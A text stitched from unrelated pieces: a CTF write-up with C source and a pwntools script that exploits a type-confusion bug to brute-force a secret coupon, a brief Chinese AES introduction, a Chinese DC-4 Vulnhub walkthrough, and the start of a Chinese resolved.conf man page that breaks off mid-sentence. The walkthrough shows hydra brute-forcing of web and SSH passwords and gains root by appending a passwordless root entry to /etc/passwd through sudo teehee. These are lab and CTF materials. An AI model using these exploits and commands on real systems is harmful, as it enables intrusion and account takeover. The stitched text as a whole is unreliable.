bool is_valid_food_type(enum item_type type);
char* food_type_to_unit(enum item_type type);
void load_coupon(char* path, int discount);
#endif /* SHOPPING_CART_H */
```
`shopping_cart.c`:
```c
#include "shopping_cart.h"
struct shopping_cart shopping_cart;
char user_input[STRING_BUFFER_SIZE];
bool loaded_coupons;
int get_free_index() {
for (int i = 0; i < SHOPPING_CART_SIZE; i++) {
if (shopping_cart.items[i].type == TYPE_UNDEFINED) {
return i;
}
}
return -1;
}
item* add_item(enum item_type type) {
int idx = get_free_index();
if (idx == -1) {
printf("Can't add more items to your shopping cart!\n");
exit(0);
}
shopping_cart.items[idx].type = type;
shopping_cart.amount_of_items++;
return &shopping_cart.items[idx];
}
void remove_item(int index) {
if (shopping_cart.items[index].type == TYPE_UNDEFINED) {
printf("Item %d is not in your shopping cart!\n", index);
return;
}
shopping_cart.items[index].type = TYPE_UNDEFINED;
shopping_cart.amount_of_items--;
printf("Item %d removed!\n", index);
}
bool can_edit_item(item* item){
if ((item->type == TYPE_UNDEFINED)) {
printf("There is no item at selected index\n");
return false;
} else if
(((item->type == TYPE_BREAD) && (item->grocery_item.amount_loaves > 0)) || ((item->type == TYPE_PASTA) && (item->grocery_item.amount_kilograms > 0)) ||
((item->type == TYPE_SOUP) && (item->grocery_item.amount_liters > 0)) || ((item->type == TYPE_DRINK) && (item->grocery_item.amount_liters > 0)) ||
((item->type == TYPE_VEGETABLE) && (item->grocery_item.amount_kilograms > 0)) || ((item->type = TYPE_FRUIT) && (item->grocery_item.amount_items > 0))) {
return true;
} else if ((item->type = TYPE_COUPON)) {
printf("Item is a coupon!\n");
return false;
} else {
printf("Invalid item type!\n");
return false;
}
}
bool is_valid_food_type(enum item_type type) {
return (
(type == TYPE_BREAD) ||
(type == TYPE_PASTA) ||
(type == TYPE_SOUP) ||
(type == TYPE_DRINK) ||
(type == TYPE_VEGETABLE) ||
(type == TYPE_FRUIT));
}
char* food_type_to_unit(enum item_type type) {
switch (type) {
case TYPE_BREAD:
return "loaves";
break;
case TYPE_PASTA:
case TYPE_VEGETABLE:
return "kilogram(s)";
break;
case TYPE_SOUP:
case TYPE_DRINK:
return "liter(s)";
break;
case TYPE_FRUIT:
return "unit(s)";
break;
}
}
bool is_coupon_valid(char* coupon) {
// black list of expired coupons
if (!memcmp(coupon, "NOT_A_FLAG{I_L0V3_CSA}", strlen(coupon)) ||
!memcmp(coupon, "NOT_A_FLAG{G1V3_M3_M0R3_C0UP0N5_PL3453}", strlen(coupon)) ||
!memcmp(coupon, "NOT_A_FLAG{TH3_C4K3_1S_A_L1E}", strlen(coupon))) {
return false;
} else {
return true;
}
}
void load_coupon(char* path, int discount) {
char coupon[STRING_BUFFER_SIZE];
FILE *fp = fopen(path, "r");
if (fp == NULL) {
printf("Unable to open file! (%s)\n", path);
exit(0);
}
if (fgets(coupon, STRING_BUFFER_SIZE, fp) == NULL) {
printf("Could not load coupon %s!\n", path);
exit(0);
}
fclose(fp);
int is_valid = is_coupon_valid(coupon);
if (!is_valid) {
return;
}
item* item = add_item(TYPE_COUPON);
item->coupon.discount_amount = discount;
item->coupon.have_entered = false;
item->coupon.is_valid = is_valid;
item->coupon.length = strlen(coupon);
item->coupon.expiration_day = 0; // todo - implement expiration date check
item->coupon.expiration_month = 0;
item->coupon.expiration_year = 0;
strncpy(item->coupon.code, coupon, strlen(coupon));
}
```
`main.c`:
```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
#include "shopping_cart.h"
extern struct shopping_cart shopping_cart;
extern char user_input[];
extern bool loaded_coupons;
void add_item_menu() {
printf("Which item would you like to add?\n");
printf("%c - Bread\n", TYPE_BREAD);
printf("%c - Pasta\n", TYPE_PASTA);
printf("%c - Soup\n", TYPE_SOUP);
printf("%c - Drink\n", TYPE_DRINK);
printf("%c - Vegetable\n", TYPE_VEGETABLE);
printf("%c - Fruit\n", TYPE_FRUIT);
char choice_type;
scanf(" %c", &choice_type);
if (!is_valid_food_type(choice_type)) {
printf("Invalid type entered!\n");
return;
}
item* item = add_item(choice_type);
switch (choice_type) {
case TYPE_BREAD:
strcpy(item->grocery_item.description, "White bread");
item->grocery_item.amount_loaves = 1;
break;
case TYPE_PASTA:
strcpy(item->grocery_item.description, "Spaghetti");
item->grocery_item.amount_kilograms = 1;
break;
case TYPE_SOUP:
strcpy(item->grocery_item.description, "Lentil soup");
item->grocery_item.amount_liters = 1;
break;
case TYPE_DRINK:
strcpy(item->grocery_item.description, "Coca-Cola");
item->grocery_item.amount_liters = 1;
break;
case TYPE_VEGETABLE:
strcpy(item->grocery_item.description, "Potatoes");
item->grocery_item.amount_kilograms = 1;
break;
case TYPE_FRUIT:
strcpy(item->grocery_item.description, "Apples");
item->grocery_item.amount_items = 1;
break;
}
printf("1 %s of %s added!\n", food_type_to_unit(choice_type), item->grocery_item.description);
}
void edit_item_menu() {
if (shopping_cart.amount_of_items == 0) {
printf("Your shopping cart is empty!\n");
return;
}
printf("Which item index would you like to edit?\n");
int choice;
scanf("%d", &choice);
if (choice < 0 || choice >= SHOPPING_CART_SIZE) {
printf("Invalid item index!\n");
return;
}
item* item = &shopping_cart.items[choice];
if (!can_edit_item(item)) {
printf("Can not edit this item!\n");
return;
}
printf("Which property would you like to edit?\n"
"1 - Type\n"
"2 - Amount of kilograms\n"
"3 - Amount of items\n"
"4 - Amount of loaves\n"
"5 - Amount of liters\n"
"6 - Description\n"
"7 - Cancel\n");
scanf("%d", &choice);
if (choice < 1 || choice > 7) {
printf("Invalid choice!\n");
return;
}
char newline;
scanf("%c", &newline); // clear newline from buffer
char choice_type;
switch (choice) {
case 1:
printf("Enter new type: ");
fflush(stdout);
scanf(" %c", &choice_type);
if (choice_type == TYPE_COUPON) {
printf("You can not convert to coupon!\n");
} else if (is_valid_food_type(choice_type)) {
item->type = choice_type;
} else {
printf("Invalid type entered!\n");
}
break;
case 2:
printf("Enter new kilograms amount: ");
fflush(stdout);
scanf("%d", &choice);
item->grocery_item.amount_kilograms = choice;
break;
case 3:
printf("Enter new items amount: ");
fflush(stdout);
scanf("%d", &choice);
item->grocery_item.amount_items = choice;
break;
case 4:
printf("Enter new loaves amount: ");
fflush(stdout);
scanf("%d", &choice);
item->grocery_item.amount_loaves = choice;
break;
case 5:
printf("Enter new liters amount: ");
fflush(stdout);
scanf("%d", &choice);
item->grocery_item.amount_liters = choice;
break;
case 6:
printf("Enter new description: ");
fflush(stdout);
fgets(item->grocery_item.description, STRING_BUFFER_SIZE, stdin);
item->grocery_item.description[strlen(item->grocery_item.description)-1] = '\0'; // remove newline
break;
case 7:
return;
break;
}
printf("Item updated!\n");
}
void remove_item_menu() {
if (shopping_cart.amount_of_items == 0) {
printf("Your shopping cart is empty!\n");
return;
}
printf("Which item index would you like to remove?\n");
int choice;
scanf("%d", &choice);
if (choice < 0 || choice >= SHOPPING_CART_SIZE) {
printf("Invalid item index!\n");
return;
}
remove_item(choice);
}
void print_shopping_cart() {
if (shopping_cart.amount_of_items == 0) {
printf("\nYour shopping cart is empty!\n");
return;
}
printf("\nYour shopping cart has %d items:\n", shopping_cart.amount_of_items);
for (int i = 0; i < SHOPPING_CART_SIZE; i++) {
item* item = &shopping_cart.items[i];
int amount = 0;
switch (item->type) {
case TYPE_UNDEFINED:
break;
case TYPE_COUPON:
if (item->coupon.have_entered) {
if (item->coupon.discount_amount < HIGH_DISCOUNT_AMOUNT) {
printf("(index %d) - %d%% OFF coupon - %s\n", i, item->coupon.discount_amount, item->coupon.code);
} else { // need to be a little more discrete about special coupons
printf("(index %d) - %d%% OFF coupon - *CENSORED*\n", i, item->coupon.discount_amount);
}
}
break;
default:
switch (item->type) {
case TYPE_BREAD:
amount = item->grocery_item.amount_loaves;
break;
case TYPE_PASTA:
case TYPE_VEGETABLE:
amount = item->grocery_item.amount_kilograms;
break;
case TYPE_SOUP:
case TYPE_DRINK:
amount = item->grocery_item.amount_liters;
break;
case TYPE_FRUIT:
amount = item->grocery_item.amount_items;
}
printf("(index %d) - %d %s of %s\n", i, amount, food_type_to_unit(item->type), item->grocery_item.description);
break;
}
}
}
void apply_a_coupon() {
if (!loaded_coupons) {
load_coupon("coupon_10.txt", 10);
load_coupon("coupon_50.txt", 50);
load_coupon("coupon_100.txt", 100);
loaded_coupons = true;
}
printf("Please enter your coupon:\n");
char newline;
scanf("%c", &newline); // clear newline from buffer
fgets(user_input, STRING_BUFFER_SIZE, stdin);
for (int i = 0; i < SHOPPING_CART_SIZE; i++) {
item* item = &shopping_cart.items[i];
if (item->type == TYPE_COUPON && !item->coupon.have_entered) {
if (!memcmp(item->coupon.code, user_input, item->coupon.length)) {
printf("Applied coupon for %d%% OFF!\n", item->coupon.discount_amount);
item->coupon.have_entered = true;
return;
}
}
}
printf("Invalid coupon!\n");
}
void checkout() {
printf("\nThank you for choosing Computed Shopping Assistant II !\n");
printf("Your items will be delivered to you within 24 hours.\n");
printf("Goodbye!\n");
exit(0);
}
void main_menu() {
printf("\n---> Welcome to Computed Shopping Assistant II <---\n");
while (true) {
printf("\nWhat would you like to do?\n"
"1 - Add item to shopping cart\n"
"2 - Edit item in shopping cart\n"
"3 - Remove item from shopping cart\n"
"4 - View shopping cart\n"
"5 - Apply a coupon\n"
"6 - Checkout\n");
int choice = 0;
scanf("%d", &choice);
switch (choice) {
case 1:
add_item_menu();
break;
case 2:
edit_item_menu();
break;
case 3:
remove_item_menu();
break;
case 4:
print_shopping_cart();
break;
case 5:
apply_a_coupon();
break;
case 6:
checkout();
break;
default:
printf("Invalid choice!\n");
exit(0);
break;
}
}
}
int main() {
memset(&shopping_cart, 0, sizeof(shopping_cart));
main_menu();
}
```
</details>
## Solution
This is the follow-up for [Computed Shopping Assistant](Computed_Shopping_Assistant.md). Since we have the sources for the previous challenge as well, it's interesting to check the delta between them:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Computed_Shopping_Assistant_II]
└─$ diff Computed_Shopping_Assistant_II/shopping_cart.h ../Computed_Shopping_Assistant/Computed_Shopping_Assistant/shopping_cart.h
11d10
< #define HIGH_DISCOUNT_AMOUNT 90
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Computed_Shopping_Assistant_II]
└─$ diff Computed_Shopping_Assistant_II/shopping_cart.c ../Computed_Shopping_Assistant/Computed_Shopping_Assistant/shopping_cart.c
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Computed_Shopping_Assistant_II]
└─$ diff Computed_Shopping_Assistant_II/main.c ../Computed_Shopping_Assistant/Computed_Shopping_Assistant/main.c
179,183c179
< if (item->coupon.discount_amount < HIGH_DISCOUNT_AMOUNT) {
< printf("(index %d) - %d%% OFF coupon - %s\n", i, item->coupon.discount_amount, item->coupon.code);
< } else { // need to be a little more discrete about special coupons
< printf("(index %d) - %d%% OFF coupon - *CENSORED*\n", i, item->coupon.discount_amount);
< }
---
> printf("(index %d) - %d%% OFF coupon - %s\n", i, item->coupon.discount_amount, item->coupon.code);
212d207
< load_coupon("coupon_100.txt", 100);
234c229
< printf("\nThank you for choosing Computed Shopping Assistant II !\n");
---
> printf("\nThank you for choosing Computed Shopping Assistant!\n");
241c236
< printf("\n---> Welcome to Computed Shopping Assistant II <---\n");
---
> printf("\n---> Welcome to Computed Shopping Assistant <---\n");
```
So the main security enhancement is here:
```c
case TYPE_COUPON:
if (item->coupon.have_entered) {
if (item->coupon.discount_amount < HIGH_DISCOUNT_AMOUNT) {
printf("(index %d) - %d%% OFF coupon - %s\n", i, item->coupon.discount_amount, item->coupon.code);
} else { // need to be a little more discrete about special coupons
printf("(index %d) - %d%% OFF coupon - *CENSORED*\n", i, item->coupon.discount_amount);
}
}
```
The program will only print the coupon if it's one of the cheaper coupons, and we already know those:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Computed_Shopping_Assistant_II]
└─$ nc csa-2.csa-challenge.com 2222
---> Welcome to Computed Shopping Assistant II <---
What would you like to do?
1 - Add item to shopping cart
2 - Edit item in shopping cart
3 - Remove item from shopping cart
4 - View shopping cart
5 - Apply a coupon
6 - Checkout
5
Please enter your coupon:
NOT_A_FLAG{I_4M_A_N3WB1E}
Applied coupon for 10% OFF!
What would you like to do?
1 - Add item to shopping cart
2 - Edit item in shopping cart
3 - Remove item from shopping cart
4 - View shopping cart
5 - Apply a coupon
6 - Checkout
5
Please enter your coupon:
CSA{iN_L1nuX_1T_W0UlDnT_H4PP3N}
Applied coupon for 50% OFF!
What would you like to do?
1 - Add item to shopping cart
2 - Edit item in shopping cart
3 - Remove item from shopping cart
4 - View shopping cart
5 - Apply a coupon
6 - Checkout
6
Thank you for choosing Computed Shopping Assistant II !
Your items will be delivered to you within 24 hours.
Goodbye!
```
So how do we leak the coupon this time? It would have been nice to modify the `discount_amount` using the same "type confusion" technique we've used in the previous challenge, but `amount_grams` is deprecated and can't be modified.
```
coupon_item grocery_item
+---------------------------+ +---------------------------------+
| discount_amount | | amount_grams |
+---------------------------+ +---------------------------------+
| have_entered | | amount_kilograms |
+---------------------------+ +---------------------------------+
| is_valid | | amount_items |
+---------------------------+ +---------------------------------+
| length | | amount_loaves |
+---------------------------+ +---------------------------------+
| expiration_day | | amount_liters |
+---------------------------+ +---------------------------------+
| expiration_month | | description[STRING_BUFFER_SIZE] |
+---------------------------+ | |
| expiration_year | | |
+---------------------------+ | |
| code[STRING_BUFFER_SIZE] | +---------------------------------+
| |
| |
+---------------------------+
```
Cross referencing the fields we *can* change using type confusion with the implementation, we notice that the `length` field seems quite promising. Here's where it's used:
```c
void apply_a_coupon() {
if (!loaded_coupons) {
load_coupon("coupon_10.txt", 10);
load_coupon("coupon_50.txt", 50);
load_coupon("coupon_100.txt", 100);
loaded_coupons = true;
}
printf("Please enter your coupon:\n");
char newline;
scanf("%c", &newline); // clear newline from buffer
fgets(user_input, STRING_BUFFER_SIZE, stdin);
for (int i = 0; i < SHOPPING_CART_SIZE; i++) {
item* item = &shopping_cart.items[i];
if (item->type == TYPE_COUPON && !item->coupon.have_entered) {
if (!memcmp(item->coupon.code, user_input, item->coupon.length)) {
printf("Applied coupon for %d%% OFF!\n", item->coupon.discount_amount);
item->coupon.have_entered = true;
return;
}
}
}
printf("Invalid coupon!\n");
}
```
To apply a coupon, the program compares the user input to the loaded coupon up to the `length` of the coupon. What will happen if we modify the `length` (a.k.a. `amount_loaves`) of the secret coupon to `1`? Well, in that case, in order for our coupon to be accepted by the program, we just need to provide an input where the first character of the coupon matches the first character of the input. So, to know what's the first character of the coupon, we just need to input all printable characters, one at a time, and see for which one the coupon is accepted. Once we have that, we proceed in the same manner to reveal the second character, and so on.
Here's an example:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Computed_Shopping_Assistant_II]
└─$ nc csa-2.csa-challenge.com 2222
---> Welcome to Computed Shopping Assistant II <---
What would you like to do?
1 - Add item to shopping cart
2 - Edit item in shopping cart
3 - Remove item from shopping cart
4 - View shopping cart
5 - Apply a coupon
6 - Checkout
5
Please enter your coupon:
NOT_A_FLAG{I_4M_A_N3WB1E}
Applied coupon for 10% OFF!
What would you like to do?
1 - Add item to shopping cart
2 - Edit item in shopping cart
3 - Remove item from shopping cart
4 - View shopping cart
5 - Apply a coupon
6 - Checkout
2
Which item index would you like to edit?
2
Which property would you like to edit?
1 - Type
2 - Amount of kilograms
3 - Amount of items
4 - Amount of loaves
5 - Amount of liters
6 - Description
7 - Cancel
4
Enter new loaves amount: 1
Item updated!
What would you like to do?
1 - Add item to shopping cart
2 - Edit item in shopping cart
3 - Remove item from shopping cart
4 - View shopping cart
5 - Apply a coupon
6 - Checkout
2
Which item index would you like to edit?
2
Which property would you like to edit?
1 - Type
2 - Amount of kilograms
3 - Amount of items
4 - Amount of loaves
5 - Amount of liters
6 - Description
7 - Cancel
3
Enter new items amount: 0
Item updated!
What would you like to do?
1 - Add item to shopping cart
2 - Edit item in shopping cart
3 - Remove item from shopping cart
4 - View shopping cart
5 - Apply a coupon
6 - Checkout
2
Which item index would you like to edit?
2
Item is a coupon!
Can not edit this item!
What would you like to do?
1 - Add item to shopping cart
2 - Edit item in shopping cart
3 - Remove item from shopping cart
4 - View shopping cart
5 - Apply a coupon
6 - Checkout
5
Please enter your coupon:
C
Applied coupon for 100% OFF!
What would you like to do?
1 - Add item to shopping cart
2 - Edit item in shopping cart
3 - Remove item from shopping cart
4 - View shopping cart
5 - Apply a coupon
6 - Checkout
6
Thank you for choosing Computed Shopping Assistant II !
Your items will be delivered to you within 24 hours.
Goodbye!
```
First, we apply a coupon in order to load into memory the other coupons. The coupon we want to leak is at index `2`. Then, we change the amount of loaves (a.k.a. the length) to `1` (note that this also converts the coupon to a fruit as we saw in the previous challenge). We change the amount of items to `0` in order to allow converting back to a coupon (based on the bug from the previous challenge). Finally, we try to apply the coupon `C`, which gets accepted (since the coupon starts with `CSA{`).
Now we automate the process:
```python
# First, generate a pwntools template using:
# pwn template --host csa.csa-challenge.com --port 2222
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
from enum import Enum
from typing import Union
import string
# Printable characters (excluding {'\r', '\x0c', '\t', '\x0b', '\n'}), order optimized for CTF flags
ALPHABET = 'Ee3Tt7Aa@4Oo0Ii1!_NnSs5$HhRrDdLlCcUuMmWwFfGg6YyPpBbVvKkJjXxQqZz289{}"#%&\'()*+,-./:;<=>?[\\]^`|~ '
assert(set(ALPHABET) == set(string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation + ' '))
class ComputedShoppingAssistant():
class MenuOption(Enum):
ADD_ITEM = 1
EDIT_ITEM = 2
REMOVE_ITEM = 3
VIEW_CART = 4
APPLY_COUPON = 5
CHECKOUT = 6
class ItemProperty(Enum):
TYPE = 1
KILOGRAMS = 2
ITEMS = 3
LOAVES = 4
LITERS = 5
DESCRIPTION = 6
INVALID = 7
def __init__(self, io: pwnlib.tubes.tube):
self.io = io
def _select_menu(self, selection: "ComputedShoppingAssistant.MenuOption") -> None:
self.io.recvuntilS(b"What would you like to do?\r\n")
for _ in self.MenuOption:
self.io.recvline()
self.io.sendline(str(selection.value).encode("ascii"))
def apply_coupon(self, coupon: str) -> bool:
self._select_menu(self.MenuOption.APPLY_COUPON)
self.io.sendlineafter(b"Please enter your coupon:\r\n", coupon.encode("ascii"))
result = self.io.recvlineS()
return result != "Invalid coupon!\r\n"
def edit_item(self, index: int, property: "ComputedShoppingAssistant.ItemProperty", value: Union[int, str, None]) -> bool:
self._select_menu(self.MenuOption.EDIT_ITEM)
self.io.sendlineafter(b"Which item index would you like to edit?\r\n", str(index).encode("ascii"))
out = self.io.recvlineS()
if out == "Item is a coupon!\r\n":
return False
assert(out == "Which property would you like to edit?\r\n")
for _ in self.ItemProperty:
self.io.recvline()
self.io.sendline(str(property.value).encode("ascii"))
self.io.sendlineafter(b": ", str(value).encode("ascii"))
out = self.io.recvlineS()
return out == "Item updated!\r\n"
def view_cart(self) -> str:
self._select_menu(self.MenuOption.VIEW_CART)
self.io.recvuntil(b'\r\nYour shopping cart has')
self.io.recvline()
out = self.io.recvuntilS("\r\n\r\n".encode("ascii"))
return out.strip().split("\r\n")
def checkout(self) -> None:
self._select_menu(self.MenuOption.CHECKOUT)
coupon_index = 2
flag = ""
with log.progress('Brute forcing flag...') as p:
while True:
with context.local(log_level='ERROR'):
io = start()
csa = ComputedShoppingAssistant(io)
csa.apply_coupon("NOT_A_FLAG{I_4M_A_N3WB1E}")
csa.apply_coupon("CSA{iN_L1nuX_1T_W0UlDnT_H4PP3N}")
# Will change coupon to fruit and set amount_loaves (i.e. length) to n
csa.edit_item(coupon_index, ComputedShoppingAssistant.ItemProperty.LOAVES, len(flag) + 1)
# Will set amount_items to 0
csa.edit_item(coupon_index, ComputedShoppingAssistant.ItemProperty.ITEMS, 0)
# Will change fruit to coupon
csa.edit_item(coupon_index, ComputedShoppingAssistant.ItemProperty.ITEMS, None)
for c in ALPHABET:
p.status(f"Known flag: '{flag}', trying '{c}'")
if csa.apply_coupon(flag + c):
flag += c
with context.local(log_level='ERROR'):
io.close()
break
else:
raise RuntimeError("Can't find flag")
if flag[-1] == "}":
break
log.info(f"Flag: {flag}")
```
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Computed_Shopping_Assistant_II]
└─$ python3 exploit.py
[+] Brute forcing flag...: Done
[*] Flag: CSA{Typ3_C0nFu510n_iS_a_ReAL_Pr0bL3m}
```
|
sec-knowleage
|
### AES基本介绍
Advanced Encryption Standard(AES),高级加密标准,是典型的块加密,被设计来取代 DES,由 Joan Daemen 和 Vincent Rijmen 所设计。其基本信息如下
- 输入:128 比特。
- 输出:128 比特。
- SPN 网络结构。
其迭代轮数与密钥长度有关系,如下
| 密钥长度(比特) | 迭代轮数 |
| :--------------: | :------: |
| 128 | 10 |
| 192 | 12 |
| 256 | 14 |
### AES加解密过程
这里给个看雪上比较好的 [图例](http://bbs.pediy.com/thread-90722.htm) ,以便于介绍基本的流程,每一轮主要包括
- 轮密钥加,AddRoundKey
- 字节替换,SubBytes
- 行移位,ShiftRows
- 列混淆,MixColumns
#### 字节替换
在字节替换的背后,其实是有对应的数学规则来定义对应的替换表的
这里的运算均定义在 $GF(2^8)$ 内。
#### 列混淆
这里的运算也是定义在 $GF(2^8)$ 上,使用的模多项式为 $x^8+x^4+x^3+1$。
### AES等价解密算法
简单分析一下,我们可以发现
- 交换逆向行移位和逆向字节代替并不影响结果。
- 交换轮密钥加和逆向列混淆并不影响结果,关键在于
- 首先可以把异或看成域上的多项式加法
- 然后多项式中乘法对加法具有分配率。
|
sec-knowleage
|
# DC: 4
下载地址:https://download.vulnhub.com/dc/DC-4.zip
## 实战演练
发现靶场IP:`192.168.32.161`

扫描对外端口
```
┌──(root💀kali)-[/tmp]
└─# nmap -sT -sV -p1-65535 192.168.32.161
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-21 23:45 EDT
Nmap scan report for 192.168.32.161
Host is up (0.00021s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http nginx 1.15.10
MAC Address: 00:0C:29:87:7A:A8 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.43 seconds
```
浏览器访问80端口

扫描WEB目录


使用sqlmap,发现没有sqlmap注入漏洞

使用hydra爆破用户,找到密码`happy`。
```
┌──(root💀kali)-[/tmp]
└─# hydra -l admin -P top1000.txt 192.168.32.161 http-post-form '/login.php:username=^USER^&password=^PASS^:S=command'
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-06-22 00:15:04
[DATA] max 16 tasks per 1 server, overall 16 tasks, 999 login tries (l:1/p:999), ~63 tries per task
[DATA] attacking http-post-form://192.168.32.161:80/login.php:username=^USER^&password=^PASS^:S=command
[80][http-post-form] host: 192.168.32.161 login: admin password: happy
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-06-22 00:15:21
```
登录成功

执行command,抓包

使用反弹shell

找到一个password文件

找到一个脚本
```
www-data@dc-4:/home/jim$ cat test.sh
#!/bin/bash
for i in {1..5}
do
sleep 1
echo "Learn bash they said."
sleep 1
echo "Bash is good they said."
done
echo "But I'd rather bash my head against a brick wall."
```
`test.sh`有`suid`属性

访问mbox没有权限

将`old-passwords.bak`下载到kali机器,对`jim`用户进行SSH爆破,找到密码是`jibril04`
```
┌──(root💀kali)-[/tmp]
└─# hydra -l jim -P old-passwords.bak ssh://192.168.32.161
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-06-22 01:46:45
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 252 login tries (l:1/p:252), ~16 tries per task
[DATA] attacking ssh://192.168.32.161:22/
[STATUS] 177.00 tries/min, 177 tries in 00:01h, 76 to do in 00:01h, 16 active
[22][ssh] host: 192.168.32.161 login: jim password: jibril04
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-06-22 01:48:17
```
查看`mbox`文件
```
jim@dc-4:~$ cat mbox
From root@dc-4 Sat Apr 06 20:20:04 2019
Return-path: <root@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 20:20:04 +1000
Received: from root by dc-4 with local (Exim 4.89)
(envelope-from <root@dc-4>)
id 1hCiQe-0000gc-EC
for jim@dc-4; Sat, 06 Apr 2019 20:20:04 +1000
To: jim@dc-4
Subject: Test
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCiQe-0000gc-EC@dc-4>
From: root <root@dc-4>
Date: Sat, 06 Apr 2019 20:20:04 +1000
Status: RO
This is a test.
```
根据提示,查看邮件信息,找到**charles**密码:`^xHhA&hvim0y`
```
jim@dc-4:~$ mail
Mail version 8.1.2 01/15/2001. Type ? for help.
"/var/mail/jim": 1 message 1 unread
>U 1 charles@dc-4 Sat Apr 06 21:15 27/715 Holidays
& 1
Message 1:
From charles@dc-4 Sat Apr 06 21:15:46 2019
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bitc
From: Charles <charles@dc-4>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Hi Jim,
I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.
Password is: ^xHhA&hvim0y
See ya,
Charles
```
成功su用户,查看sudo列表
```
charles@dc-4:~$ sudo -l
Matching Defaults entries for charles on dc-4:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User charles may run the following commands on dc-4:
(root) NOPASSWD: /usr/bin/teehee
```
使用`teehee`添加一条root用户记录
```
charles@dc-4:~$ echo "r00t::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
r00t::0:0:::/bin/bash
```
获取flag

|
sec-knowleage
|
'\" t
.TH "RESOLVED\&.CONF" "5" "" "systemd 231" "resolved.conf"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
resolved.conf, resolved.conf.d \- 网络名字解析服务配置文件
.SH "SYNOPSIS"
.PP
/etc/systemd/resolved\&.conf
.PP
/etc/systemd/resolved\&.conf\&.d/*\&.conf
.PP
/run/systemd/resolved\&.conf\&.d/*\&.conf
.PP
/usr/lib/systemd/resolved\&.conf\&.d/*\&.conf
.SH "描述"
.PP
这些配置文件控制着本地DNS与LLMNR名字解析
.SH "配置目录及其优先级"
.PP
默认设置是在编译期间确定的, 所以仅在确实需要修改默认设置的情况下, 才需要使用配置文件。位于
/etc/systemd/
目录中的初始配置文件, 仅包含了展示选项默认值的注释, 目的在于方便系统管理员查看和直接修改。
.PP
如果软件包想要自定义某些默认设置, 那么必须将自定义的配置文件安装到
/usr/lib/systemd/*\&.conf\&.d/
目录中。
/etc/
目录仅供系统管理员使用。 系统管理员可以利用下面的逻辑来覆盖默认设置: 主配置文件最先被读取, 优先级也最低。 所有
*\&.conf\&.d/
中的配置文件 都会覆盖主配置文件中的设置。 所有
*\&.conf\&.d/
中的配置文件(无论位于哪个目录中), 统一按照文件名的字典顺序处理。 如果在多个配置文件中设置了同一个选项, 那么仅以文件名最靠后(字典顺序)的那一个为准。 为了便于排序, 建议给所有
*\&.conf\&.d/
中的配置文件 都加上两位十进制数字的文件名前缀。
.PP
如果系统管理员想要屏蔽
/usr/lib/
目录中的某个配置文件, 那么最佳做法是在
/etc/
目录中 创建一个指向
/dev/null
的同名符号链接, 即可彻底屏蔽
/usr/lib/
目录中的同名文件。
.SH "选项"
.PP
下列选项都位于
"[Resolve]"
小节:
.PP
\fIDNS=\fR
.RS 4
一个空格分隔的 IPv4 与 IPv6 地址列表。用作系统的全局DNS服务器。 DNS请求将被首先发送给
\fBsystemd-networkd.service\fR(8)
中针对特定连接设置的DNS服务器或者由外部程序在运行时设置的DNS服务器,然后才会发送给此处设置的全局DNS服务器。 出于兼容性考虑,如果未设置此选项,那么将使用
/etc/resolv\&.conf
中的DNS服务器(如果其中确实配置了DNS服务器的话)。 此选项的默认值为空。
.RE
.PP
\fIFallbackDNS=\fR
.RS 4
一个空格分隔的 IPv4 与 IPv6 地址列表。用作系统的替补DNS服务器。 在
\fBsystemd-networkd.service\fR(8)
